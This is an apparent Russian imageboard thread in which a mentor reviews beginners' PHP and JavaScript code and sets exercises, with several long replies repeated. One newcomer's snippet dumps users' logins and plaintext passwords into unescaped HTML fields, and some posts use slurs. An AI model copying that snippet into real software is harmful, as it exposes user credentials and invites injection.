>Вот на эту строчку и ругается собственно.
У меня вот тоже сестра попробовала... собственно. Да троих родила!
А от єтой хуйни брат умир.
Анон, скажи, есть ли способ проверить у нескольких методов существование свойства.
пример
\tpublic static function getAbsolutePathStyle($name) {
return self::$path . self::$style[$name];
\t}
Чтобы не писать вот так в каждом методе
\tpublic static function getAbsolutePathStyle($name) {
if (isset(self::$style[$name])) {
return self::$path . self::$style[$name];
} else {
Throw new StyleException('Нет такого в массиве, пидар!');
}
\t}
По нажатию кнопки массив с данными записывается в текстовые поля для последующего редактирования .
Остальная часть страницы не меняется.
Как можно сделать это менее уебищнее? Или это норм практика вываливать html через echo?
if ($_REQUEST["showbase"]){
$result= $dbconnect->query('SELECT * FROM users');
echo "<form action=login.php method=POST>";
while ($row = $result->fetch()) {
echo "<input type=text value=".$row['login']."> "."<input type=text value=".$row['pass'].'>' ."<br>";
}
echo "</form>";
}
что я читаю?
просто пишешь закрывающий тэг ?> потом хтмл теги <form action=login.php method=POST> <?php while ($row = $result->fetch()) { ?><input type=text value=<?=$row['login'] ?>
пхп же шаблонизатор.
Но это же еще большая каша получится. Куча пхп перемешанного с хтмл, запутаться легко.
Не не, наверное ты не понял
>>549794
>>549747
Вот так чтобы понятнее было http://pastebin.com/mCVrcJU7
Что если таких методов около 10-ка "getAbsolutePathStyle();"
Можно как то одним махом проверить?
Я не проверял HTML/CSS. Если ты хочешь изучать эти языки, то у нас в Оп посте есть задачки (которые я проверю), если не хочешь то ок.
https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L27
> foreach ($engineers as $key => $employee) {
> if ($employee->isLeader()) {
Фильтрацию элементов массива в некоторых случаях удобнее сделать через array_filter и анонимную функцию:
$engineers = array_filter($engineers, function ($engineer) {
...
});
Ради изучения этой темы, сделай-ка тут через array_filter. Также, есть и другие функции для обработки массивов, например array_map и array_reduce. Только без фанатизма: эти функции хорошо подходят для простых случаев (например обработать все элементы массива функцией round()), а в сложных проще написать цикл.
Если ты не знаком с анонимными функциями (анонимная значит что у нее нет имени), знакомься:
https://www.google.ru/search?q=php+%D0%B0%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D1%8B%D0%B5+%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8&newwindow=1
К сожалению, в PHP конструкция получается довольно громоздкая, и не дает возможность оценить красоту этого подхода. В новом стандарте Яваскрипт ES6 например это могло бы выглядеть так:
// Удаляем босса из массива работников. Конструкция e => ... это и есть анонимная функция
employees = employees.filter(e => !e.isLeader());
В остальном, у меня замечаний нет, все сделано. Пождумай, что ты дальше хочешь сделать, можно например «Кошки-Мышки», это тоже задача на ООП, а потом список студентов. Или может ты хочешь HTML/CSS, а затем JS подучить?
Я не проверял HTML/CSS. Если ты хочешь изучать эти языки, то у нас в Оп посте есть задачки (которые я проверю), если не хочешь то ок.
https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L27
> foreach ($engineers as $key => $employee) {
> if ($employee->isLeader()) {
Фильтрацию элементов массива в некоторых случаях удобнее сделать через array_filter и анонимную функцию:
$engineers = array_filter($engineers, function ($engineer) {
...
});
Ради изучения этой темы, сделай-ка тут через array_filter. Также, есть и другие функции для обработки массивов, например array_map и array_reduce. Только без фанатизма: эти функции хорошо подходят для простых случаев (например обработать все элементы массива функцией round()), а в сложных проще написать цикл.
Если ты не знаком с анонимными функциями (анонимная значит что у нее нет имени), знакомься:
https://www.google.ru/search?q=php+%D0%B0%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D1%8B%D0%B5+%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8&newwindow=1
К сожалению, в PHP конструкция получается довольно громоздкая, и не дает возможность оценить красоту этого подхода. В новом стандарте Яваскрипт ES6 например это могло бы выглядеть так:
// Удаляем босса из массива работников. Конструкция e => ... это и есть анонимная функция
employees = employees.filter(e => !e.isLeader());
В остальном, у меня замечаний нет, все сделано. Пождумай, что ты дальше хочешь сделать, можно например «Кошки-Мышки», это тоже задача на ООП, а потом список студентов. Или может ты хочешь HTML/CSS, а затем JS подучить?
>>547140
Во-первых, алгоритм который предложен в учебнике, не очень эффективен. Есть более хорошие алгоритмы: https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%BF%D1%83%D1%82%D0%B8
Например, А со звездочкой и Дейкстра вполне хороши.
В твоем коде:
> $time += $time;
Не очень понятен смысл этой команды, это фактически умножение значения в $time на два. Ты тут наверно должен прибавлять к общему времени время прохождения последнего отрезка (между $point и предыдущей точкой).
Также, в твоем коде нужен сделать проверку, когда ты не можешь дойти до цели за 1 шаг и делаешь цикл, чтобы не заходить в уже посещенные точки. То есть если точка $alternativePath есть в массиве $pathDone, значит мы через нее уже прошли и второй раз в нее заходить не надо.
Также, в цикле ты берешь первый вариант и сразу возвращаешь его. Но ведь это может быть не самый быстрый путь. Ты должен проверить пути через все точки и выбрать тот, который занимает меньше всего времени.
>>547196
> Сначала оверпросто, потом сразу хардкор.
Есть такое, там после учебника и до задачи про студентов должны быть уроки, но их пока никто не написал. Увы.
> Вместо неё какой-то странный сайт php.net на котором чтобы найти ответ - нужно часа 2 лазить.
Не надо. набираешь в гугле например php count и получаешь первым же результатом мануал по этой функции.
Также, на сайте есть оглавление, видел? https://secure.php.net/manual/ru/index.php
Читать там надо только раздел «справочник языка» https://php.net/manual/ru/langref.php , согласен написан не идеально но понять можно если ты читаешь его не с нуля а после например моего учебника.
> Кто в здравом уме это читал
Я читал. И другими анонам советую читать перед собеседованием, так как там любят всякие тонкости спрашивать из него.
> Книга расчитана на весьма ВЕСЬМА олдфагов
Книга не совсем для начинающих, это да.
>>547197
Бывало. Переезжал, раньше адрес был типа archive.ipq.to или как-то так. Алсо ОП хотел купить для него домен в зоне jp, но цены высокие и условия мутные, вроде как иностранцам напрямую нельзя их покупать.
>>547168
На практике приходится интегрироват что угодно с чем угодно. А программист это как раз тот человек который может решить любую задачу.
>>547234
Он по моему не очень соответствует принципам обработки форм. Как выше заметили, данные надо записывать в модель только если форма отправлена.
>>547240
Потому что это справочник по тонкостям языка а не учебник для наинающих. Учебник для начинабщих в ОП посте.
>>547252
Лучше всего обрабатывать формы правильно а не изобретать велосипед.
>>547140
Во-первых, алгоритм который предложен в учебнике, не очень эффективен. Есть более хорошие алгоритмы: https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%BF%D1%83%D1%82%D0%B8
Например, А со звездочкой и Дейкстра вполне хороши.
В твоем коде:
> $time += $time;
Не очень понятен смысл этой команды, это фактически умножение значения в $time на два. Ты тут наверно должен прибавлять к общему времени время прохождения последнего отрезка (между $point и предыдущей точкой).
Также, в твоем коде нужен сделать проверку, когда ты не можешь дойти до цели за 1 шаг и делаешь цикл, чтобы не заходить в уже посещенные точки. То есть если точка $alternativePath есть в массиве $pathDone, значит мы через нее уже прошли и второй раз в нее заходить не надо.
Также, в цикле ты берешь первый вариант и сразу возвращаешь его. Но ведь это может быть не самый быстрый путь. Ты должен проверить пути через все точки и выбрать тот, который занимает меньше всего времени.
>>547196
> Сначала оверпросто, потом сразу хардкор.
Есть такое, там после учебника и до задачи про студентов должны быть уроки, но их пока никто не написал. Увы.
> Вместо неё какой-то странный сайт php.net на котором чтобы найти ответ - нужно часа 2 лазить.
Не надо. набираешь в гугле например php count и получаешь первым же результатом мануал по этой функции.
Также, на сайте есть оглавление, видел? https://secure.php.net/manual/ru/index.php
Читать там надо только раздел «справочник языка» https://php.net/manual/ru/langref.php , согласен написан не идеально но понять можно если ты читаешь его не с нуля а после например моего учебника.
> Кто в здравом уме это читал
Я читал. И другими анонам советую читать перед собеседованием, так как там любят всякие тонкости спрашивать из него.
> Книга расчитана на весьма ВЕСЬМА олдфагов
Книга не совсем для начинающих, это да.
>>547197
Бывало. Переезжал, раньше адрес был типа archive.ipq.to или как-то так. Алсо ОП хотел купить для него домен в зоне jp, но цены высокие и условия мутные, вроде как иностранцам напрямую нельзя их покупать.
>>547168
На практике приходится интегрироват что угодно с чем угодно. А программист это как раз тот человек который может решить любую задачу.
>>547234
Он по моему не очень соответствует принципам обработки форм. Как выше заметили, данные надо записывать в модель только если форма отправлена.
>>547240
Потому что это справочник по тонкостям языка а не учебник для наинающих. Учебник для начинабщих в ОП посте.
>>547252
Лучше всего обрабатывать формы правильно а не изобретать велосипед.
О, это хорошая задача, давай-ка посмотрим.
Во-первых, не стоит смешивать вместе HTML и PHP код. Почитай про шаблоны: http://phpfaq.ru/tpl
То есть ты в PHP-файле подготавливаешь нужные данные, а затем инклудишь файл шаблона и там их выводишь.
Теперь перейдем к класссам. Я вижу, что ты догадался сделать отдельные классы для разных профессий и унаследовать их от базового класса, это хорошо. Но недостаточно.
Базовый класс Employee надо сделать абстрактным. Абстрактный класс это класс, объекты которого нельзя создавать, и именно это нам тут и надо. Мануал http://php.net/manual/ru/language.oop5.abstract.php
Далее, у нас классы-наследники Employee обязаны задавать базовую ставку, потребление кофе, и тд. Сейчас у тебя нет никакого способа заставить программиста это делать. Для этого можно использовать абстрактные методы — это методы которые ты обязан реализовать при наследовании. Добавь в базовый класс абстрактные методы, которые в наследниках будут возвращать потребление кофе, базовую ставку и производительность в страницах.
Далее, ты смешиваешь понятия «базовая ставка» дял профессии и итоговая зарплата (с учетом надбавок). Это разные вещи и они не должны храниться в одном и том же поле. Более того, так как итоговая зарплата полностью определяется свойствами работника, то ее хранить вообще не требуется — достаточно сделать метод который посчитает и вернет ее. Аналоично надо сделать методы для кофе и страниц.
А свойства c базовой ставкой стоит наверно вообще закрыть от доступа снаружи.
А у тебя сейчас сделано так, что если мы поменяем ранг или статус босса то итоговая зарплата не изменится, а это неправильно.
> public function addEmployer($Employee, $count = 1) {
Тут (и в других местах где можно) надо добавить тайп хинт.
Тайп хинты позволяют указать, что аргумент функции должен быть определенного типа (например быть объектом определенного класса или его наследника). Тайп хинт делает код понятнее (так как видно какого типа переменная) и надежнее (так как PHP не позволит передать что-то неразрешенное и ты сразу увидишь ошибку). Используй их везде.
Мануал: http://php.net/manual/ru/language.oop5.typehinting.php
> $Employee
Переменные пишутся с маленькой буквы. С большой буквы пишутся имена классов и константы.
> while($count) {
> array_push($this->employee, $Employee);
Это неправильно. Ты кладешь в массив несколько ссылок на один и тот же объект, то есть если мы например поменяем зарплату одному работнику, она изменится у всех сразу. Надо создавать нужное число работников и вызывать addEmployee в цикле.
Также, если тебе надо сделать цикл с известным количеством шагов, лучше исопльзовать for.
> if(!$this->$variable) {
Так писать не стоит так как тут вообще непонятно к какому свойству идет обращение. Если тебе надо хранить разные параметры и обращаться к ним по имени, используй массив.
Если у тебя есть однотипные функции (посчитать сумму кофе, денег и тд) то ты можешь в функцию передавать анонимную функцию, так:
$this->countTotal(function () { ... });
Либо же написать это через sum(array_map(...));
Почитать про анонимные функции: https://www.google.ru/search?q=php+%D0%B0%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D1%8B%D0%B5+%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8&newwindow=1&gbv=1
Также, я думаю, не стоит в Departament хранить посчитанную сумму по зарплатам, кофе, так как у тебя нет никакого механизма ее обновления при изменении числа, ранга работников. То есть твой код будет выдавать в этом случае устаревшие данные.
> public $employee = array();
Наверно стоит закрыть массив от доступа снаружи и обращаться к нему через методы.
> public function cfSum() {
Имя непонятное
> private function forEachDepartaments($variable) {
Тут лучше передавать анонимную функцию. Не стоит в учебном примере использовать обращение к полю по имени так как оно запутывает код.
Ну и также, держи сразу вторую часть задачи, которая проверит насколько ты правильно реализовал ООП и насколько гибок твой код и насколько легко его изменять:
----------------
### Антикризисные меры
Задание: напиши программу для учета расходов и результатов работы всего дружного коддектива компании «Вектор».
Пока ты решал задачу по выводу отчета о сотрудниках и департаментах, разразился мировой экономический кризис. Доходы компании начали снижаться, и совет директоров поставил перед руководством задачу принять меры. Менеджеры 3-го ранга, блестящие выпускники топовых экономических вузов столицы, быстро смогли разработать три альтернативных антикризисных решения:
1. Сократить в каждом департаменте 40% (округляя в большую сторону) инженеров, преимущественно самого низкого ранга. Если инженер является боссом, вместо него надо уволить другого инженера, не босса.
2. Увеличить в целях стимуляции умственной деятельности базовую ставку аналитика с 800 до 1100 тугриков, а количество выпиваемого им кофе с 50 до 75 литров. В тех департаментах, где руководитель не является аналитиком, заменить его на аналитика самого высшего ранга из этого департамента (а бывшего руководителя вернуть к обычной работе)
3. В каждом департаменте повысить 50% (округляя в большую сторону) менеджеров 1-го и 2-го ранга на один ранг с целью расширить их полномочия.
Совет директоров в затруднении: какой путь выбрать? Помоги им с этим, распечатав прогноз по потреблению и расходам (аналогичный тому что требуется в задаче) после принятия каждой из мер.
О, это хорошая задача, давай-ка посмотрим.
Во-первых, не стоит смешивать вместе HTML и PHP код. Почитай про шаблоны: http://phpfaq.ru/tpl
То есть ты в PHP-файле подготавливаешь нужные данные, а затем инклудишь файл шаблона и там их выводишь.
Теперь перейдем к класссам. Я вижу, что ты догадался сделать отдельные классы для разных профессий и унаследовать их от базового класса, это хорошо. Но недостаточно.
Базовый класс Employee надо сделать абстрактным. Абстрактный класс это класс, объекты которого нельзя создавать, и именно это нам тут и надо. Мануал http://php.net/manual/ru/language.oop5.abstract.php
Далее, у нас классы-наследники Employee обязаны задавать базовую ставку, потребление кофе, и тд. Сейчас у тебя нет никакого способа заставить программиста это делать. Для этого можно использовать абстрактные методы — это методы которые ты обязан реализовать при наследовании. Добавь в базовый класс абстрактные методы, которые в наследниках будут возвращать потребление кофе, базовую ставку и производительность в страницах.
Далее, ты смешиваешь понятия «базовая ставка» дял профессии и итоговая зарплата (с учетом надбавок). Это разные вещи и они не должны храниться в одном и том же поле. Более того, так как итоговая зарплата полностью определяется свойствами работника, то ее хранить вообще не требуется — достаточно сделать метод который посчитает и вернет ее. Аналоично надо сделать методы для кофе и страниц.
А свойства c базовой ставкой стоит наверно вообще закрыть от доступа снаружи.
А у тебя сейчас сделано так, что если мы поменяем ранг или статус босса то итоговая зарплата не изменится, а это неправильно.
> public function addEmployer($Employee, $count = 1) {
Тут (и в других местах где можно) надо добавить тайп хинт.
Тайп хинты позволяют указать, что аргумент функции должен быть определенного типа (например быть объектом определенного класса или его наследника). Тайп хинт делает код понятнее (так как видно какого типа переменная) и надежнее (так как PHP не позволит передать что-то неразрешенное и ты сразу увидишь ошибку). Используй их везде.
Мануал: http://php.net/manual/ru/language.oop5.typehinting.php
> $Employee
Переменные пишутся с маленькой буквы. С большой буквы пишутся имена классов и константы.
> while($count) {
> array_push($this->employee, $Employee);
Это неправильно. Ты кладешь в массив несколько ссылок на один и тот же объект, то есть если мы например поменяем зарплату одному работнику, она изменится у всех сразу. Надо создавать нужное число работников и вызывать addEmployee в цикле.
Также, если тебе надо сделать цикл с известным количеством шагов, лучше исопльзовать for.
> if(!$this->$variable) {
Так писать не стоит так как тут вообще непонятно к какому свойству идет обращение. Если тебе надо хранить разные параметры и обращаться к ним по имени, используй массив.
Если у тебя есть однотипные функции (посчитать сумму кофе, денег и тд) то ты можешь в функцию передавать анонимную функцию, так:
$this->countTotal(function () { ... });
Либо же написать это через sum(array_map(...));
Почитать про анонимные функции: https://www.google.ru/search?q=php+%D0%B0%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D1%8B%D0%B5+%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8&newwindow=1&gbv=1
Также, я думаю, не стоит в Departament хранить посчитанную сумму по зарплатам, кофе, так как у тебя нет никакого механизма ее обновления при изменении числа, ранга работников. То есть твой код будет выдавать в этом случае устаревшие данные.
> public $employee = array();
Наверно стоит закрыть массив от доступа снаружи и обращаться к нему через методы.
> public function cfSum() {
Имя непонятное
> private function forEachDepartaments($variable) {
Тут лучше передавать анонимную функцию. Не стоит в учебном примере использовать обращение к полю по имени так как оно запутывает код.
Ну и также, держи сразу вторую часть задачи, которая проверит насколько ты правильно реализовал ООП и насколько гибок твой код и насколько легко его изменять:
----------------
### Антикризисные меры
Задание: напиши программу для учета расходов и результатов работы всего дружного коддектива компании «Вектор».
Пока ты решал задачу по выводу отчета о сотрудниках и департаментах, разразился мировой экономический кризис. Доходы компании начали снижаться, и совет директоров поставил перед руководством задачу принять меры. Менеджеры 3-го ранга, блестящие выпускники топовых экономических вузов столицы, быстро смогли разработать три альтернативных антикризисных решения:
1. Сократить в каждом департаменте 40% (округляя в большую сторону) инженеров, преимущественно самого низкого ранга. Если инженер является боссом, вместо него надо уволить другого инженера, не босса.
2. Увеличить в целях стимуляции умственной деятельности базовую ставку аналитика с 800 до 1100 тугриков, а количество выпиваемого им кофе с 50 до 75 литров. В тех департаментах, где руководитель не является аналитиком, заменить его на аналитика самого высшего ранга из этого департамента (а бывшего руководителя вернуть к обычной работе)
3. В каждом департаменте повысить 50% (округляя в большую сторону) менеджеров 1-го и 2-го ранга на один ранг с целью расширить их полномочия.
Совет директоров в затруднении: какой путь выбрать? Помоги им с этим, распечатав прогноз по потреблению и расходам (аналогичный тому что требуется в задаче) после принятия каждой из мер.
Слева, только убрать тень.
>>547634
Надо создать несколько объектов Question и положить в массив.
>>547635
Слишком сложно. Вот ты сам можешь сказать все ли правильно? Не можешь. И я не могу, так как неохота пересчитвать все символы.
Надо сделать проще. В регулярках есть такая штука как повторение N раз. Например «найти 5 букв a подряд» пишется так:
a{5}
В твоем случае сначала идет +7 или 8, а за ними 10 раз повторяется последовательность:
1 цифра, за ней любое число пробелов, минусов, скобок
Помни что код пишется в первую очередь для людей.
>>547740
Нужно думать на уровне одной функции. То есть не пытаться представить что происходит при нескольких вложенных вызовах, а только в одном. Ну к примеру, возьмем функцию вычисления факториала:
Факториал от 1 равен 1
Факториал от N > 1 равен N умножить на факториал от N - 1
Задание: напиши рекурсивную функцию вычисления факториала.
Далее, напиши функцию вычисления N-го числа Фибоначчи: https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8
Дальше — еще сложнее. Имеется N1 купюр номиналом V1, N2 купюр номиналом V2, и тд.
1) выведи все возможные суммы которые можно ими выдать
2) определи, можно ли выдать ими сумму S, если да, то выведи список купюр дающих эту сумму
Рекурсивное определение тут выгядит тут примерно так:
- Все возможные суммы которые можно набрать из купюр номинала V1 считаются циклом от 1 до N1
- Все возможные суммы для купюр номинала от V1 до Vx = все возможные количества купюр Vx + все возможные суммы купюр от V1 до V(x-1)
Ну и можешь еще глянуть задачки отсюда: http://habrahabr.ru/post/113108/
>>547805
Это где? Это наверно в каком-то одном конкретном случае, а не вообще везде.
>>547807
Стандартный файловый инпут это умеет делать.
>>547845
Урок прочитал? https://gist.github.com/codedokode/9576319
> Я так понимаю, это просто усложняет пароль, который хранится в БД,
Это значительно увеличивает затраты на вскрытие паролей из украденной базы, прочитай почему (потому что нельзя перебирать все хеши одновременно).
> т.е. в инпут юзер вводит один и тот же пароль? (но ведь могут подобрать пароль, перебирая цифры и вводя их в инпут, а не ломая бд, не?)
Пользователь про соль ничего не должен знать. От перебора ты можешь защититься ограничивая число неудачных попыток авторизации с одного IP в одну единицу времени. Соль это защита от воровства базы и от любопытных сотрудников.
>>547854
Выглядит нормально, сделай, посмотрим код.
>>547886
Да, прочитай внимательно при каких условиях работает коллапсинг. При наличии паддинга или бордера он отключается. Там еще он на флоаты не действует, и еще на что-то.
>>547872
У тебя в коде ошибка, нестатические методы надо вызывать только через -> а не ::
Слева, только убрать тень.
>>547634
Надо создать несколько объектов Question и положить в массив.
>>547635
Слишком сложно. Вот ты сам можешь сказать все ли правильно? Не можешь. И я не могу, так как неохота пересчитвать все символы.
Надо сделать проще. В регулярках есть такая штука как повторение N раз. Например «найти 5 букв a подряд» пишется так:
a{5}
В твоем случае сначала идет +7 или 8, а за ними 10 раз повторяется последовательность:
1 цифра, за ней любое число пробелов, минусов, скобок
Помни что код пишется в первую очередь для людей.
>>547740
Нужно думать на уровне одной функции. То есть не пытаться представить что происходит при нескольких вложенных вызовах, а только в одном. Ну к примеру, возьмем функцию вычисления факториала:
Факториал от 1 равен 1
Факториал от N > 1 равен N умножить на факториал от N - 1
Задание: напиши рекурсивную функцию вычисления факториала.
Далее, напиши функцию вычисления N-го числа Фибоначчи: https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8
Дальше — еще сложнее. Имеется N1 купюр номиналом V1, N2 купюр номиналом V2, и тд.
1) выведи все возможные суммы которые можно ими выдать
2) определи, можно ли выдать ими сумму S, если да, то выведи список купюр дающих эту сумму
Рекурсивное определение тут выгядит тут примерно так:
- Все возможные суммы которые можно набрать из купюр номинала V1 считаются циклом от 1 до N1
- Все возможные суммы для купюр номинала от V1 до Vx = все возможные количества купюр Vx + все возможные суммы купюр от V1 до V(x-1)
Ну и можешь еще глянуть задачки отсюда: http://habrahabr.ru/post/113108/
>>547805
Это где? Это наверно в каком-то одном конкретном случае, а не вообще везде.
>>547807
Стандартный файловый инпут это умеет делать.
>>547845
Урок прочитал? https://gist.github.com/codedokode/9576319
> Я так понимаю, это просто усложняет пароль, который хранится в БД,
Это значительно увеличивает затраты на вскрытие паролей из украденной базы, прочитай почему (потому что нельзя перебирать все хеши одновременно).
> т.е. в инпут юзер вводит один и тот же пароль? (но ведь могут подобрать пароль, перебирая цифры и вводя их в инпут, а не ломая бд, не?)
Пользователь про соль ничего не должен знать. От перебора ты можешь защититься ограничивая число неудачных попыток авторизации с одного IP в одну единицу времени. Соль это защита от воровства базы и от любопытных сотрудников.
>>547854
Выглядит нормально, сделай, посмотрим код.
>>547886
Да, прочитай внимательно при каких условиях работает коллапсинг. При наличии паддинга или бордера он отключается. Там еще он на флоаты не действует, и еще на что-то.
>>547872
У тебя в коде ошибка, нестатические методы надо вызывать только через -> а не ::
Это просто неудачное название. «статический» метод просто значит метод класса, а не то, что в нем есть что-то неизменное. В английской литературе методы часто называют так:
class method = метод класса = «статический» метод. То есть метод принадлежащий классу а не конкретному экземпляру. Вызывается через :: и очевидно не может обращаться к $this.
instance method = метод экземпляра = обычный, нестатический метод.
Ты тоже можешь использовать понятия «метод класса» и «метод экземпляра».
>>547882
Я не знаю, зависит от того какая у тебя цель и что для тебя важнее. Но не двигаться вперед это точно плохая идея.
>>547887
> я не нашёл ничего лучше, чем сперва удалить все тире, пробелы и скобки, чтобы не задавать кучу вариантов, а потом просто проверить на наличие +7 или 8 и количество цифр следом.
Хорошо бы все же регулярку (которая допускает скобки и минусы) написать для проверки. Это же задача на регулярки.
> как я понял, нельзя проверить всё-таки разными правилами в одном регэкспе, пробовал задавать в скобках - он начинает, конечно, с того места, где проверил последнее,
Да, он идет по строке слева направо и 2 раза один и тот же кусок не проверяет. Так что нет, не получится одним регекспом. А вот проверить есть ошибки или нет одним регекспом можно.
По задаче, тут можно было обойтись без switch, сделав массив такого вида:
$rules = [
['regexp' => ..., 'comment' => ....],
['regexp' => ..., 'comment' => ....],
['regexp' => ..., 'comment' => ....]
];
> а-я
Буква ё не входит в этот диапазон и ее надо отдельно указывать.
> ж|ш
А если они заглавные?
> з(?:делал|делаю|делан)
Лучше написать здела(?:..)
> if ($count = preg_match_all($pattern, $text, $matches)){
Это лучше разбить на 2 строки, не смешивать вместе.
> (?:а|но)\\s
А что если после «a» еще одна запятая? Или знак вопроса?
>>547905
> Хочу сделать цикл for в методе класса Field, метод у меня будет принимать два числовых параметра $cats и $mice (это кол-во мышек и кошек) и создавать количество объектов равное этим параметрам,
Не советую. Лучше создавать объекты снаружи класса Field.
> но как мне им задать разные имена?
В уроке про массивы была задача на генератор имен и там даже код есть.
>>547943
Возможно, не знаю.
>>548032
Кроме победы и выигрыша еще возможна ничья.
Тут все верно
>>548120
> 'Small', 'salad',
Это должно быть константами (ну то есть свойствами написанными большими буквами), то есть
Gamburger.SIZE_SMALL, Gamburger.FILLING_SALAD
> this.getCost = function() {
Надо добавлять методы через прототипы (Gamburger.prototype.x = ...). Твой вариант не очень эффективен так как для каждого экзепляра создается новый метод, и конструктор получается гигантский, а большие функции это плохо, тем более в JS там будет куча доступных везде переменных, это бардак.
> var SIZE = {
> small: {
> cost: 50,
> cal: 20
Это наверно лучше вынести в метод вроде getCosts().
> var size = size.toLowerCase();
Это не нужно при исплоьзовании констант.
Также, нужно делать проверки и бросать исключение если что-то передано неправильно, наример вместо размера какая-нибудь ерунда.
> console.log('Нет такого размера!');
Не надо так делать, надо бросать исключение. Так как исключение можно поймать программно, а вывод в консоль нет.
> if (!checkValues()) return;
if надо писать в 3 строчки, так же какой смысл что ты делаешь return при ошибке? Как узнать о том что в программе ошибка? В твоем случае никак, надо бросать исключение в такой ситуации.
Также, надо бы сделать чтобы в конструктор передавались только обязательные параметры (размер, начинка), а добавки можно было добавить позже чтобы например сравнить стоимость с добавкой и без.
>>548232
+7 или 8, за ними ровно 10 раз повторяется (1 цифра + любое число минусов скобок пробелов)
Это просто неудачное название. «статический» метод просто значит метод класса, а не то, что в нем есть что-то неизменное. В английской литературе методы часто называют так:
class method = метод класса = «статический» метод. То есть метод принадлежащий классу а не конкретному экземпляру. Вызывается через :: и очевидно не может обращаться к $this.
instance method = метод экземпляра = обычный, нестатический метод.
Ты тоже можешь использовать понятия «метод класса» и «метод экземпляра».
>>547882
Я не знаю, зависит от того какая у тебя цель и что для тебя важнее. Но не двигаться вперед это точно плохая идея.
>>547887
> я не нашёл ничего лучше, чем сперва удалить все тире, пробелы и скобки, чтобы не задавать кучу вариантов, а потом просто проверить на наличие +7 или 8 и количество цифр следом.
Хорошо бы все же регулярку (которая допускает скобки и минусы) написать для проверки. Это же задача на регулярки.
> как я понял, нельзя проверить всё-таки разными правилами в одном регэкспе, пробовал задавать в скобках - он начинает, конечно, с того места, где проверил последнее,
Да, он идет по строке слева направо и 2 раза один и тот же кусок не проверяет. Так что нет, не получится одним регекспом. А вот проверить есть ошибки или нет одним регекспом можно.
По задаче, тут можно было обойтись без switch, сделав массив такого вида:
$rules = [
['regexp' => ..., 'comment' => ....],
['regexp' => ..., 'comment' => ....],
['regexp' => ..., 'comment' => ....]
];
> а-я
Буква ё не входит в этот диапазон и ее надо отдельно указывать.
> ж|ш
А если они заглавные?
> з(?:делал|делаю|делан)
Лучше написать здела(?:..)
> if ($count = preg_match_all($pattern, $text, $matches)){
Это лучше разбить на 2 строки, не смешивать вместе.
> (?:а|но)\\s
А что если после «a» еще одна запятая? Или знак вопроса?
>>547905
> Хочу сделать цикл for в методе класса Field, метод у меня будет принимать два числовых параметра $cats и $mice (это кол-во мышек и кошек) и создавать количество объектов равное этим параметрам,
Не советую. Лучше создавать объекты снаружи класса Field.
> но как мне им задать разные имена?
В уроке про массивы была задача на генератор имен и там даже код есть.
>>547943
Возможно, не знаю.
>>548032
Кроме победы и выигрыша еще возможна ничья.
Тут все верно
>>548120
> 'Small', 'salad',
Это должно быть константами (ну то есть свойствами написанными большими буквами), то есть
Gamburger.SIZE_SMALL, Gamburger.FILLING_SALAD
> this.getCost = function() {
Надо добавлять методы через прототипы (Gamburger.prototype.x = ...). Твой вариант не очень эффективен так как для каждого экзепляра создается новый метод, и конструктор получается гигантский, а большие функции это плохо, тем более в JS там будет куча доступных везде переменных, это бардак.
> var SIZE = {
> small: {
> cost: 50,
> cal: 20
Это наверно лучше вынести в метод вроде getCosts().
> var size = size.toLowerCase();
Это не нужно при исплоьзовании констант.
Также, нужно делать проверки и бросать исключение если что-то передано неправильно, наример вместо размера какая-нибудь ерунда.
> console.log('Нет такого размера!');
Не надо так делать, надо бросать исключение. Так как исключение можно поймать программно, а вывод в консоль нет.
> if (!checkValues()) return;
if надо писать в 3 строчки, так же какой смысл что ты делаешь return при ошибке? Как узнать о том что в программе ошибка? В твоем случае никак, надо бросать исключение в такой ситуации.
Также, надо бы сделать чтобы в конструктор передавались только обязательные параметры (размер, начинка), а добавки можно было добавить позже чтобы например сравнить стоимость с добавкой и без.
>>548232
+7 или 8, за ними ровно 10 раз повторяется (1 цифра + любое число минусов скобок пробелов)
>>Что нужно прочесть чтобы можно было вывести их хотя бы отступами
Лучше всего изучить HTML/CSS, у нас есть хорошие задачки по ним. В твоем случае достатоно изучить как верстаются таблицы (table, tr, td) и выводить таблицу, в ячейках которой стоят нужные символы. Для символов можно поискать что-нибудь из таблицы юникода: https://www.google.ru/search?q=%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0+%D1%8E%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4%D0%B0&newwindow=1&gbv=1&sei=3tMHVsOwGIWTyQPZ4paYAQ
Ты можешь просто вертикально выводить N таблиц, по одной на ход, а один анон еще нашел где-то слайдер на явакрипте который показывал их по таймеру:
http://apps.perfect-skin.com.ua/cat/ (сейчас анимации нет так как анон поленился скачать нужные скрипты к себе на сайт и подключил их с удаленного сервера который сейчас отдает ошибку. Если ты скачаешь все к себе на локалхост и разберешься с этим багом то все заработает. Не подключайте скрипты с внешних серверов).
> Почему лучше использовать $this->getProperty() вместо $this->property?
Инкапсуляция. Представь что завтра тебе надо возвращать число в 2 раза больше. В первом случае ты меняешь только метод getProperty(), во втором ищешь по всему коду $this->property и 100 раз дописываешь умножение на 2.
Паста:
-----
